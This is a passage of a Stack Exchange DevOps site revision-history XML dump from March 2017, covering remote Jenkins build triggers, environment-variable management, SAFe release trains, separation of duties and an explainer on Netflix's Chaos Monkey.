one to monitor the tools and raise alerts for (AWS)Lambda to compute. &#xD;&#xA;&#xD;&#xA;Like for example: Store the files in an AWS SQS queue. Once the number of messages in the queue reaches 10, fire an event to Lambda.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://highscalability.com/blog/2017/1/30/part-1-of-thinking-serverlesshow-new-approaches-address-mode.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1900" PostHistoryTypeId="5" PostId="457" RevisionGUID="f00d9e8b-aed6-46b2-b5e7-9c2746bf511c" CreationDate="2017-03-20T08:01:46.977" UserId="40" Comment="added 2 characters in body; edited title" Text="I am attempting to trigger a parameterized Jenkins build from Bamboo, doing the below:&#xD;&#xA;&#xD;&#xA;&gt; POST - &#xD;&#xA;`http://jenkins-url.com/job/jobname/buildWithParameters?ENVIRONMENT=dev&amp;APPLICATION=hello-world`&#xD;&#xA;&#xD;&#xA;But I will get a 201 instantly which tells me that the build was created. How do I make this request wait and return the success status of the build instead of the fire and forget? &#xD;&#xA;&#xD;&#xA;It is apparently possible as per [Parameterized-Remote-Trigger-Plugin][1]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/morficus/Parameterized-Remote-Trigger-Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/lcoWp.png&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;created this in the end if you need it.&#xD;&#xA;https://github.com/owenmorgan/jenkins-remote-builder" ContentLicense="CC BY-SA 3.0" />
  <row Id="1901" PostHistoryTypeId="4" PostId="457" RevisionGUID="f00d9e8b-aed6-46b2-b5e7-9c2746bf511c" CreationDate="2017-03-20T08:01:46.977" UserId="40" Comment="added 2 characters in body; edited title" Text="How to not &quot;fire and forget&quot; when doing a remote trigger of a Jenkins build?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1903" PostHistoryTypeId="5" PostId="535" RevisionGUID="1b03cf8e-84c8-4a81-bc39-fc28ba1b69d2" CreationDate="2017-03-20T09:02:20.457" UserId="40" Comment="Include relevant quote from the linked page (so make the answer look less like a link-ony answer)" Text="I've created the [jenkins-remote-builder][1] script which will follow your remote build to completion.&#xD;&#xA;&#xD;&#xA;Some more details about it (from its [README.md][2]):&#xD;&#xA;&#xD;&#xA;&gt; ##Example&#xD;&#xA;&#xD;&#xA;&gt;     jenkins=https://user:pass@jenkins.mydomain.com:8080&#xD;&#xA;&gt;     jenkins_job=MyApp-Deploy&#xD;&#xA;&#xD;&#xA;&gt;     environment=dev&#xD;&#xA;&gt;     application=myapp&#xD;&#xA;&gt;     revision=9fd71f63b351b8208264daf86d292ced580a2f60&#xD;&#xA;&#xD;&#xA;&gt;     ./jenkins_remote_trigger.sh \&#xD;&#xA;&gt;                 -h ${jenkins} \&#xD;&#xA;&gt;                 -j ${jenkins_job} \&#xD;&#xA;&gt;                 -p &quot;ENVIRONMENT=${environment}&amp;APPLICATION=${application}&amp;REVISION=${revision}&quot;&#xD;&#xA;&#xD;&#xA;&gt; ##Usage:&#xD;&#xA;&#xD;&#xA;&gt;     -h HOST     | --host=HOST                       Jenkins host&#xD;&#xA;&gt;     -j JOBNAME  | --jobname=test-build-job          The name of the jenkins job to trigger&#xD;&#xA;&gt;     -p JOBPARAM | --jobparam=environment=uat&amp;test=1 Jenkins job paramiters&#xD;&#xA;&gt;     -q          | --quiet                           Don't output any status messages&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/owenmorgan/jenkins-remote-builder&#xD;&#xA;  [2]: https://github.com/owenmorgan/jenkins-remote-builder/blob/master/README.md" ContentLicense="CC BY-SA 3.0" />
  <row Id="1904" PostHistoryTypeId="2" PostId="603" RevisionGUID="6c1e63c6-e648-484d-99ec-ced479fb43be" CreationDate="2017-03-20T09:48:14.903" UserId="13" Text="Answer based on my knowledge of French &quot;Internal controls&quot; regulation, kind of  equivalent to the SEC regulations you point to, I assume linking here to a French legal text would not be really useful and I know of no good translation of it.&#xD;&#xA;&#xD;&#xA;In an ideal 'You build it, you run it' model, everyone in the team will be accountable for the change. The risk assessment can't be enforced by a separation of duties and the only way I know to keep conforming with regulation is to have a periodic short cycle audit of transactions along with an unalterable action tracking to get back to the person who did the release.  &#xD;&#xA;This mean all logs of transaction and actions are pushed to a restricted area the team doesn't have access to, a change in the what is logged &quot;should&quot; be catch by functional tests the team has no access to and at worse will be catch by the audit and tracked to its author.  &#xD;&#xA;&#xD;&#xA;This is not applicable to all products, at time of writing in France any company allowed to emit money (mainly banks), has to ensure every transaction will be recorded and thus can't take the risk of missing a transaction.  &#xD;&#xA;On the other hand, they have no legal obligation to track any commercial offer or risk evaluation when someone ask for a loan, and thus the products handling this customer selection and computing the fees which will be in the offer are easier to fit in a post-release audit model.&#xD;&#xA;&#xD;&#xA;Main idea is that the release model has to be tweaked according to risk assessment obligations.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1908" PostHistoryTypeId="5" PostId="547" RevisionGUID="d0218c66-a9ae-4fcb-a9ec-42f26f3dcbd9" CreationDate="2017-03-20T10:51:32.327" UserId="40" Comment="Fix typos" Text="Looking outside of DevOps specifically, if you are talking about large (ish) enterprise environments then the SAFe methodology has a fairly good way of encouraging this kind of behavior.&#xD;&#xA;&#xD;&#xA;Essentially it boils down to a few key stages:&#xD;&#xA; &#xD;&#xA; - projects start as release trains. The intent (and the expectation of whoever is funding it) is that it will be long running. I'm talking years long, none of this &quot;stand up a team for 3 months then stand them down&quot; business.&#xD;&#xA; &#xD;&#xA; - over the course of a project the release train will inevitably amass more people as more of both new project requirements based on newly realised business opportunities as well as the ongoing tax of maintenance style work.&#xD;&#xA; &#xD;&#xA; - I almost always see the trains run their first increment as 100% project/change teams, 2nd increment they allocate a percentage of time to Run work. 3rd increment management realise they are about to have a problem and starting adding teams to try and handle the Run overflow to give their now seasoned developers and engineers time to keep working on new requirements.&#xD;&#xA; &#xD;&#xA; - if the right balance is struck of project teams being able to keep delivering project outcomes without being bogged down to much in maintenance work and new teams who join the train aren't immediately expected to just be 100% support teams, but instead take on a fair portion of the change work that was going to be handled then you end up with delivery teams who are owning the products they are building by default, it doesn't need to come at them all at once that now they are a Run team, instead it just slowly integrates into their day to day activities.&#xD;&#xA;&#xD;&#xA;Where this model obviously has some weaknesses is in the pricing for a business. Generally I'd expect to be paying a lot more for a change resource than a run resource, usually run contracts with major vendors are fixed price and the intent is that they make their money on continuous improvement and therefore cost savings.&#xD;&#xA;&#xD;&#xA;That being said, it isn't all that difficult to consider the change teams stood up as part of a release train to simply be delivering continuous improvements. If there is something they can build or do which will improve their ability to focus on new project deliveries and be less concerned with &quot;business as usual&quot; work then that should be backlogged and prioritised based on the perceived benefits by whoever holds the money for the release train." ContentLicense="CC BY-SA 3.0" />
  <row Id="1909" PostHistoryTypeId="2" PostId="604" RevisionGUID="40a829c4-7587-4b70-938c-cafd7c060462" CreationDate="2017-03-20T11:11:24.703" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1910" PostHistoryTypeId="1" PostId="604" RevisionGUID="40a829c4-7587-4b70-938c-cafd7c060462" CreationDate="2017-03-20T11:11:24.703" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1911" PostHistoryTypeId="2" PostId="605" RevisionGUID="39c503f6-920f-4ead-91ca-baa116fc8495" CreationDate="2017-03-20T11:11:24.703" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1912" PostHistoryTypeId="1" PostId="605" RevisionGUID="39c503f6-920f-4ead-91ca-baa116fc8495" CreationDate="2017-03-20T11:11:24.703" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1913" PostHistoryTypeId="5" PostId="605" RevisionGUID="25f839b5-5fe0-4960-8e13-8cbc9b3f94c2" CreationDate="2017-03-20T11:25:34.170" UserId="228" Comment="added 286 characters in body" Text="For questions describing a process, method or a way of doing things in general. An ordered set of steps to be implemented as procedure to follow or in software, governing how an organization solves a particular task, either by an individual contributor, a team or across multiple teams." ContentLicense="CC BY-SA 3.0" />
  <row Id="1914" PostHistoryTypeId="24" PostId="605" RevisionGUID="25f839b5-5fe0-4960-8e13-8cbc9b3f94c2" CreationDate="2017-03-20T11:25:34.170" Comment="Proposed by 228 approved by 46, 40 edit id of 177" ContentLicense="CC BY-SA 3.0" />
  <row Id="1915" PostHistoryTypeId="5" PostId="604" RevisionGUID="838a1da8-391c-4e34-9a53-e9e3cdd2e934" CreationDate="2017-03-20T11:26:01.747" UserId="228" Comment="added 663 characters in body" Text="Process can refer to any of the [three ways described here][1]. But context of DevOps it is meant as a component of [Organizational Architecture or Design][2]. Usually we use it in the sense of [Business Process][3] in one of the following [Process Areas][4] for Development or Services. It is a unit of [Organizational Learning][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Structure%E2%80%93organization%E2%80%93process&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Organizational_architecture&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Business_process&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Process_area_(CMMI)&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Organizational_learning" ContentLicense="CC BY-SA 3.0" />
  <row Id="1916" PostHistoryTypeId="24" PostId="604" RevisionGUID="838a1da8-391c-4e34-9a53-e9e3cdd2e934" CreationDate="2017-03-20T11:26:01.747" Comment="Proposed by 228 approved by 46, 40 edit id of 176" ContentLicense="CC BY-SA 3.0" />
  <row Id="1924" PostHistoryTypeId="5" PostId="547" RevisionGUID="42579e83-5bfc-47e4-84d7-30ea3067158a" CreationDate="2017-03-20T13:39:49.277" UserId="677" Comment="added 75 characters in body" Text="Looking outside of DevOps specifically, if you are talking about large (ish) enterprise environments then the [SAFe][1] methodology has a fairly good way of encouraging this kind of behavior.&#xD;&#xA;&#xD;&#xA;Essentially it boils down to a few key stages:&#xD;&#xA; &#xD;&#xA; - projects start as release trains. The intent (and the expectation of whoever is funding it) is that it will be long running. I'm talking years long, none of this &quot;stand up a team for 3 months then stand them down&quot; business.&#xD;&#xA; &#xD;&#xA; - over the course of a project the release train will inevitably amass more people as more of both new project requirements based on newly realised business opportunities as well as the ongoing tax of maintenance style work.&#xD;&#xA; &#xD;&#xA; - I almost always see the trains run their first increment as 100% project/change teams, 2nd increment they allocate a percentage of time to Run work. 3rd increment management realise they are about to have a problem and starting adding teams to try and handle the Run overflow to give their now seasoned developers and engineers time to keep working on new requirements.&#xD;&#xA; &#xD;&#xA; - if the right balance is struck of project teams being able to keep delivering project outcomes without being bogged down to much in maintenance work and new teams who join the train aren't immediately expected to just be 100% support teams, but instead take on a fair portion of the change work that was going to be handled then you end up with delivery teams who are owning the products they are building by default, it doesn't need to come at them all at once that now they are a Run team, instead it just slowly integrates into their day to day activities.&#xD;&#xA;&#xD;&#xA;Where this model obviously has some weaknesses is in the pricing for a business. Generally I'd expect to be paying a lot more for a change resource than a run resource, usually run contracts with major vendors are fixed price and the intent is that they make their money on continuous improvement and therefore cost savings.&#xD;&#xA;&#xD;&#xA;That being said, it isn't all that difficult to consider the change teams stood up as part of a release train to simply be delivering continuous improvements. If there is something they can build or do which will improve their ability to focus on new project deliveries and be less concerned with &quot;business as usual&quot; work then that should be backlogged and prioritised based on the perceived benefits by whoever holds the money for the release train.&#xA;&#xA;&#xA;  [1]: http://www.scaledagileframework.com &quot;Scaled Agile Framework&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1928" PostHistoryTypeId="5" PostId="503" RevisionGUID="b9061fa7-fc13-45cd-96d9-c7797d8bcc5b" CreationDate="2017-03-20T15:45:51.243" UserId="40" Comment="fix typos" Text="To add to Romeo Ninov's answer, internally within an environment you need to try and separate out the applications as much as possible. This is partially why docker has been so successful for dev/test. It let's you almost pretend that you aren't sharing an environment at all.&#xD;&#xA;&#xD;&#xA;The other option is to have very clearly defined servers on which the applications run which are separate from the rest of the infrastructure that makes up your environment. Ie. All the environment management or enablement machinery goes on separate, long lived servers. Then you hook in new short lived servers based on a known image to test an application and, if any changes are made to the base image,  you need to apply those changes **everywhere** for every new component. Which means testing the changes against everything.&#xD;&#xA;&#xD;&#xA;If an appdev team ask for a change that breaks someone else's application, then tough luck, they need to internally create a mitigant in their code and keep their specific requirements separate from the environments offering." ContentLicense="CC BY-SA 3.0" />
  <row Id="1929" PostHistoryTypeId="5" PostId="502" RevisionGUID="92fc51e1-6665-489b-bcec-ff0d7e0457f5" CreationDate="2017-03-20T15:48:38.973" UserId="40" Comment="fix typos" Text="I've had two runs at doing environment variables in a scalable way and neither has ended up perfect because,  as I've discovered, is a very tricky thing to get right. I'll give a summary of both of my experiences below:&#xD;&#xA;&#xD;&#xA;**Common Factors**&#xD;&#xA;&#xD;&#xA; - Environment variables are stored in a separate repository from the original source code (they are submoduled together but are still based on separate repos)&#xD;&#xA; - There is a separate &quot;build&quot; process for the artifact and it's variables.&#xD;&#xA; - There is **not** a separate release process for the environment variables. If you want to change environment variables you need to go through the same change review boards and usual&#xD;&#xA;&#xD;&#xA;**Using Consul KV Pairs** &#xD;&#xA;&#xD;&#xA;The environment variables are loaded from an artifact repository (never the original git repo) and loaded into a namespaced KV pair tree, for example&#xD;&#xA;&#xD;&#xA;/env/dev1/my/application/v1.1.1&#xD;&#xA;&#xD;&#xA;Where the preceding dev1 is the name of the environment, the my/application is the application namespace, and the v1.1.1 is the version of the environment variables to use.&#xD;&#xA;&#xD;&#xA;To developers all these things are invisible. At runtime the platform checks that the environment exists in the current consul cluster (if it doesn't there's a problem and it's errors out), it then checks the subtree for the applications namespace (this way there can be no cross contamination where one app references another apps vars) then the version number of the configuration is taken from label connected to the deployable artifact. Updating this label is the key thing here because it means if we lost both production data centers we could stand up the environment again by simple reading the meta data from our deployable artifacts and loading *all the environment variables* into the KV store.&#xD;&#xA;&#xD;&#xA;*Problems With This Approach*&#xD;&#xA;Developers always, and I mean every single time, found a way to slip configuration changes into the environment that had significant impacts to how the application would run. Because it always ended up being easier to get configuration changes approved than code changes.&#xD;&#xA;&#xD;&#xA;**Storing a &quot;Deployment&quot; Artifact with variables embedded**&#xD;&#xA;&#xD;&#xA;This tightly couples the exact version of the artifact to the version of configuration. If you changed configuration then you had to rebuild this deployment artifact.&#xD;&#xA;&#xD;&#xA;The deployment artifact itself was essentially a yaml file which contained the URL to the releasable binary and all the configuration attached to it.&#xD;&#xA;&#xD;&#xA;The platform contains componentry to read variables and then out them into the process tree of the application when it starts up.&#xD;&#xA;&#xD;&#xA;This has so far been a lot more successful because there is an artifact we can trace the history of and which we can hold up to any review board and say &quot;this is the only artifact we care about, we don't need t look at any other changes, only changes to this thing&quot; (ie. Version of application to deploy,  environment variables included etc.&#xD;&#xA;&#xD;&#xA;This makes it just a little bit harder for developers to try and build logic into their application that will change its behavior based on variables so they can slip in changes without going through appropriate testing cycles.&#xD;&#xA;&#xD;&#xA;**Bonus Points**&#xD;&#xA;&#xD;&#xA;Consider application secrets. Our solution to this has so far been to provide a public RSA key which development teams use to encrypt an extended Java key store (almost every language has a library somewhere that can read Java keys stores) this is then treated like a third type of artifact and is pulled onto the server, decrypted with our platform private key, and provided to the application at run time.&#xD;&#xA;&#xD;&#xA;Admittedly secrets management is its own can of worms. But it's probably worth considering." ContentLicense="CC BY-SA 3.0" />
  <row Id="1933" PostHistoryTypeId="2" PostId="607" RevisionGUID="61adc6b7-768d-4924-bcb4-aa2040881bef" CreationDate="2017-03-20T17:53:24.370" UserId="40" Text="I'm not really familiar with the topics you mentioned. However I went ahead to go checkout the [University][1] where I graduated from, Computer Science (with sufficient credibility, trust me).&#xD;&#xA;&#xD;&#xA;Here are some interesting articles in which DevOps is mentioned:&#xD;&#xA;&#xD;&#xA;- [Automated workflow regression testing for multi-tenant SaaS: Integrated support in self-service configuration dashboard][2]. Here is part of the abstract of it:&#xD;&#xA;&#xD;&#xA;  &gt; ... This effectively makes these tenant administrators part of the **DevOps** team, and in turn creates the need for the SaaS provider to provide them with Quality Assurance tool support. One such tool is a regression testing framework that allows them to make sure that a new version of a workflow can behave similarly as to a successful execution of a previous version. ...&#xD;&#xA;&#xD;&#xA;- [Variability middleware for multi-tenant SaaS applications][3]. Here is part of the abstract of it:&#xD;&#xA;&#xD;&#xA;  &gt; ... The focus has been mainly on (1) the pre-deployment phases of the development life cycle and (2) fine-grained (tenant-level), run-time activation of specific variants. However, with upcoming trends such as **DevOps** and continuous delivery and deployment, operational aspects become increasingly important. ...&#xD;&#xA;&#xD;&#xA;Both articles have links with contact info to their authors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kuleuven.be/english&#xD;&#xA;  [2]: https://lirias.kuleuven.be/handle/123456789/548791&#xD;&#xA;  [3]: https://lirias.kuleuven.be/handle/123456789/500608" ContentLicense="CC BY-SA 3.0" />
  <row Id="1934" PostHistoryTypeId="5" PostId="595" RevisionGUID="30809e87-d55e-4662-9ca7-c82a1e9ec4dc" CreationDate="2017-03-20T19:07:16.993" UserId="40" Comment="added 603 characters in body" Text="About Kubernetes (from [kubernetes.io][1])&#xD;&#xA;&#xD;&#xA;&gt; Kubernetes is an open-source system for automating deployment, scaling, and management of containerized applications.&#xD;&#xA;&#xD;&#xA;&gt; It groups containers that make up an application into logical units for easy management and discovery. Kubernetes builds upon 15 years of experience of running production workloads at Google, combined with best-of-breed ideas and practices from the community.&#xD;&#xA;&#xD;&#xA;### Resources&#xD;&#xA;&#xD;&#xA;- [Documentation][2].&#xD;&#xA;- [Community][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/&#xD;&#xA;  [2]: https://kubernetes.io/docs/&#xD;&#xA;  [3]: https://kubernetes.io/community/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1935" PostHistoryTypeId="24" PostId="595" RevisionGUID="30809e87-d55e-4662-9ca7-c82a1e9ec4dc" CreationDate="2017-03-20T19:07:16.993" Comment="Proposed by 40 approved by 46, 47 edit id of 179" ContentLicense="CC BY-SA 3.0" />
  <row Id="1936" PostHistoryTypeId="5" PostId="578" RevisionGUID="069c8882-2197-4319-bc31-36da42dfb753" CreationDate="2017-03-20T19:34:33.250" UserId="40" Comment="added 970 characters in body" Text="From [Wikipedia](https://en.wikipedia.org/wiki/DevOps_toolchain):&#xD;&#xA;&#xD;&#xA;&gt; A **DevOps toolchain** is a set or combination of tools that aid in the delivery, development, and management of applications throughout the [software development lifecycle][1], as coordinated by an organisation that uses [DevOps][2] practices.&#xD;&#xA;&#xD;&#xA;&gt; Generally, DevOps tools fit into one or more activities, which supports specific DevOps initiatives: Plan, Create, Verify, Preprod, Release, Configure, and Monitor.&#xD;&#xA;&#xD;&#xA;&gt; Another proposed toolchain model was referenced in 2014 as coming from &quot;an unknown source&quot; as Plan, Code, Build, Test, Release, Deploy, Operate and Monitor.&#xD;&#xA;&#xD;&#xA;That same Wikipedia page also contains an image showing stages in a DevOps toolchain, which looks like so:&#xD;&#xA;&#xD;&#xA;[![Devops Toolchain stages on Wikipedia][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Software_development_lifecycle&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [3]: https://i.stack.imgur.com/7NmOQ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1937" PostHistoryTypeId="24" PostId="578" RevisionGUID="069c8882-2197-4319-bc31-36da42dfb753" CreationDate="2017-03-20T19:34:33.250" Comment="Proposed by 40 approved by 47, 228 edit id of 180" ContentLicense="CC BY-SA 3.0" />
  <row Id="1939" PostHistoryTypeId="2" PostId="608" RevisionGUID="16e15223-0c8b-4a94-bbad-e6a2eab97481" CreationDate="2017-03-20T20:25:37.617" UserId="40" Text="Your question doesn't seem to make any assumption about the platform/OS it is about. Which is why it may make sense to add an answer about how this is typically done/addressed in a mainframe environment, where the &quot;engineers&quot; (as in your question title) are actually groups of people were dozens (possibly hundreds) of people are involved. And this by using [ChangeMan ZMF][1] (disclosure: the SCM product where I'm most familiar with).&#xD;&#xA;&#xD;&#xA;Here are the highlights of how I'd answer your question:&#xD;&#xA;&#xD;&#xA;- All code (and related artifacts like executables, etc) is stored in files which, all together is what we call the ***library structure***.&#xD;&#xA;- For each environment on each (possibly remote) target system, there is a server (a &quot;started task&quot;), which takes care of ALL (repeat: ALL) updates to anything in the library structure. There are a few exceptions (like security people, or space management team), but apart from that, nobody (repeat: nobody) has authorization to apply updates to any file within that library structure. In other words: ***the server gets exclusive update authority to the entire library structure***. Attention: OPS-people will go bonkers if you walk in to limit their access (at first they are going to resists ...), so make sure you're covered by upper management (CxO) to impose those access rules ...&#xD;&#xA;- The actual software changes my consist of a single component, or it may also be hundreds or thousands of sources, executables, or whatever other artifacts. To make them manageable, things that should be moved (more or less) together, at the same time, are bundled together in what's called a ***software change package***.&#xD;&#xA;&#xD;&#xA;With the above in place, any kind of update to be applied by the server to the library structure, will only be possible via a well defined workflow, which we call the ***lifecycle of a software change package*** (SDLC if you prefer). To actually execute the various steps in that workflow, this is what it takes to make it happen:&#xD;&#xA;&#xD;&#xA;- Only the server will execute the required (and preconfigured) steps.&#xD;&#xA;- The server will only do a specific step, after the required approvals (from human beings) have been gathered.&#xD;&#xA;- The approvals can only be given by users who have a role that allows them to issue such approvals.&#xD;&#xA;- The roles (permissions) required for the various steps may vary, but these permissions are defined in the security system being used, and the server will ensure that the user trying to approve something will only be able to do so, if the user's permissions are appropriate.&#xD;&#xA;&#xD;&#xA;To complete the picture (workflow) as explained above, the server creates an audit trail (logging) of anything that's happening in the system. So that at any point in time, it is always possible to answer questions like &quot;***What happened when and why, and who authorized it?***&quot;.&#xD;&#xA;&#xD;&#xA;The above is just a blueprint, which hopefully helps to understand how in the end it is the server that takes care of the segregation of duties ... provided you have the CxO cover you to impose some access rules that not everybody will like. But, those measures help quite a lot to keep a bank or an airline going ... And IT auditors love these kinds of solutions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serena.com/products/changeman-zmf/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1941" PostHistoryTypeId="12" PostId="607" RevisionGUID="7045065d-1c5a-447f-a4ef-48dda93ec843" CreationDate="2017-03-20T23:21:56.083" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="1942" PostHistoryTypeId="13" PostId="607" RevisionGUID="7bbe7b3a-a68b-4ebf-a4b2-c0722537ff34" CreationDate="2017-03-20T23:39:52.997" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="1943" PostHistoryTypeId="10" PostId="599" RevisionGUID="e8fa0507-ac27-422b-a20e-254c2729dab4" CreationDate="2017-03-21T01:52:32.017" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:441,&quot;DisplayName&quot;:&quot;Thomas Owens&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:65,&quot;DisplayName&quot;:&quot;Normal Human&quot;},{&quot;Id&quot;:294,&quot;DisplayName&quot;:&quot;Danny Nimmo&quot;}]}" />
  <row Id="1944" PostHistoryTypeId="2" PostId="609" RevisionGUID="75c74978-97af-4d9a-8828-825227a06562" CreationDate="2017-03-21T06:04:27.830" UserId="228" Text="I had a perfect server, it was so pretty and rock solid and so I named it Petra. It was perfect in every way, everything was configured and tuned just right, it had perfect 100% service record and 753 days of uptime. I've spent a lot of time and effort making sure it run so well. No other server in the company had been this good. But last night this evil monster crashed my server for no reason. &#xD;&#xA;&#xD;&#xA;[![Chaos Monkey][1]][1]&#xD;&#xA;&#xD;&#xA;Of course I was notified at 2am and it took me until morning to get it up and running and everything configured and tuned up, but I'm afraid it is not going to be as good as before. It might take weeks before it is back to it's former glory. Now my uptime is gone, I don't have even measly three 9s and who knows what this will do to my reputation. Who is this Chaos Monkey and why did he do that to my server and why is he trying to ruin me?  &#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/DC6C1.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1945" PostHistoryTypeId="1" PostId="609" RevisionGUID="75c74978-97af-4d9a-8828-825227a06562" CreationDate="2017-03-21T06:04:27.830" UserId="228" Text="Who is this Chaos Monkey and why did he crash my server?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1946" PostHistoryTypeId="3" PostId="609" RevisionGUID="75c74978-97af-4d9a-8828-825227a06562" CreationDate="2017-03-21T06:04:27.830" UserId="228" Text="&lt;culture&gt;&lt;process&gt;&lt;automation&gt;&lt;servers&gt;&lt;sysadmin&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1947" PostHistoryTypeId="2" PostId="610" RevisionGUID="f48d5cdd-5b94-425b-b389-0f998215ed20" CreationDate="2017-03-21T06:04:27.830" UserId="228" Text="**TL;DR**: [Chaos Monkey][1] was [developed in 2010][2] at [Netflix][3] and [released into wild in 2012][4] is part of the [Simian Army][5], wildly popular among [devoted followers][6]. Built on [principles of chaos][7] engineering, the army increases resiliency to failure by injecting constant failure to the system.&#xD;&#xA;&#xD;&#xA;## Concept ##&#xD;&#xA;&#xD;&#xA;Chaos Monkey was developed specifically for AWS where it will randomly kill instances within an Auto Scaling Group. It is meant to run during the business hours when engineers are alert and can quickly react to discovered failures. &#xD;&#xA;&#xD;&#xA;## Simian Army ##&#xD;&#xA;&#xD;&#xA;Members of the army would *sow chaos* through other means: &#xD;&#xA;&#xD;&#xA; - Latency Monkey will introduce random delays to services.&#xD;&#xA;&#xD;&#xA; - Chaos Gorilla (Kong) will simulate outage of entire availability zone. &#xD;&#xA;&#xD;&#xA;Other Monkeys are *helpful* and remove the weak members of the herd:&#xD;&#xA;&#xD;&#xA; - Conformity Monkey shuts down instances not following best practices.&#xD;&#xA;&#xD;&#xA; - Security Monkey looks for known security vulnerabilities in configuration and services.&#xD;&#xA;&#xD;&#xA; - Doctor Monkey shuts down unhealthy instances not conforming to certain metrics.&#xD;&#xA;&#xD;&#xA; - Janitor Monkey looks for unused resources to reclaim. &#xD;&#xA;&#xD;&#xA;## Failure is Inevitable ##&#xD;&#xA;&#xD;&#xA;Failure in the System is inevitable, [something will always go wrong][8]. You might not be able to choose what, but you can try to choose when. By introducing small errors throughout the day, you ensure that your engineers are present. By killing non-conforming services quickly, you ensure that failures happen often before deployment. By making the environment more adversarial, you ensure that it will be the developers who run into issues long before any service makes its way into production. Failures will be quickly apparent in integration phase of new services with the old ones, but that is ok, because the old production services are already resilient.&#xD;&#xA;&#xD;&#xA;## Cattle not Pets ##&#xD;&#xA;&#xD;&#xA;Everyone [will tell you][9] lately: Do not treat your [servers as pets][10]. There is a power in numbers and any single point of failure will bring down the system. No matter how well you can tune and optimize your server, no matter how beefy hardware you can get, how much it can handle, it will never be a match for herd of small scalable instances. Chaos Monkey encourages you to think about removing all points of failure, because sooner or later, the Monkey will come! Everyone fails and even the Amazon S3 had an [unpredictable outage][11].&#xD;&#xA;&#xD;&#xA;## Anti-Fragile ##&#xD;&#xA;&#xD;&#xA;So what is the theory and why does it work? [Nassim Nicholas Taleb][12] in his book [Antifragile][13] describes a concept where living self-aware systems, will benefit from a small levels of randomness and actually become better in face of adversity. This is similar to annealing. &#xD;&#xA;&#xD;&#xA;He does also describe an evolutionary way, where *fragility of parts* in a system is *transferring into antifragility of the whole*. The transfer occurs on two levels:&#xD;&#xA;&#xD;&#xA; 1. By a small random variations - *developers making changes* - the most fit for the environment will survive and propagate - *pass tests and get deployed*. **Standard Development Life Cycle**. &#xD;&#xA;&#xD;&#xA; 1. By failure of parts not capable to withstand a larger level of randomness in the environment, the remaining parts that were able to withstand it compose a system that is as a whole better able to deal with changing environment than before. This is essentially **Chaos Monkey**.&#xD;&#xA;&#xD;&#xA;Larger levels of randomness can be withstood using the second approach.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/netflix/chaosmonkey&#xD;&#xA;  [2]: http://techblog.netflix.com/2010/12/5-lessons-weve-learned-using-aws.html&#xD;&#xA;  [3]: http://techblog.netflix.com/2011/07/netflix-simian-army.html&#xD;&#xA;  [4]: http://techblog.netflix.com/2012/07/chaos-monkey-released-into-wild.html&#xD;&#xA;  [5]: https://github.com/Netflix/SimianArmy/blob/master/assets/SimianArmy.png&#xD;&#xA;  [6]: https://groups.google.com/forum/#!forum/simianarmy-users&#xD;&#xA;  [7]: http://principlesofchaos.org&#xD;&#xA;  [8]: https://blog.codinghorror.com/working-with-the-chaos-monkey/&#xD;&#xA;  [9]: https://news.ycombinator.com/item?id=7311704&#xD;&#xA;  [10]: http://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/&#xD;&#xA;  [11]: https://aws.amazon.com/message/41926/&#xD;&#xA;  [12]: https://en.wikipedia.org/wiki/Nassim_Nicholas_Taleb&#xD;&#xA;  [13]: https://en.wikipedia.org/wiki/Antifragile" ContentLicense="CC BY-SA 3.0" />
  <row Id="1948" PostHistoryTypeId="6" PostId="609" RevisionGUID="9b889c86-6c51-42da-9756-a0495907159e" CreationDate="2017-03-21T06:12:34.007" UserId="228" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;process&gt;&lt;automation&gt;&lt;servers&gt;&lt;sysadmin&gt;" ContentLicense="CC BY-SA 3.0" />
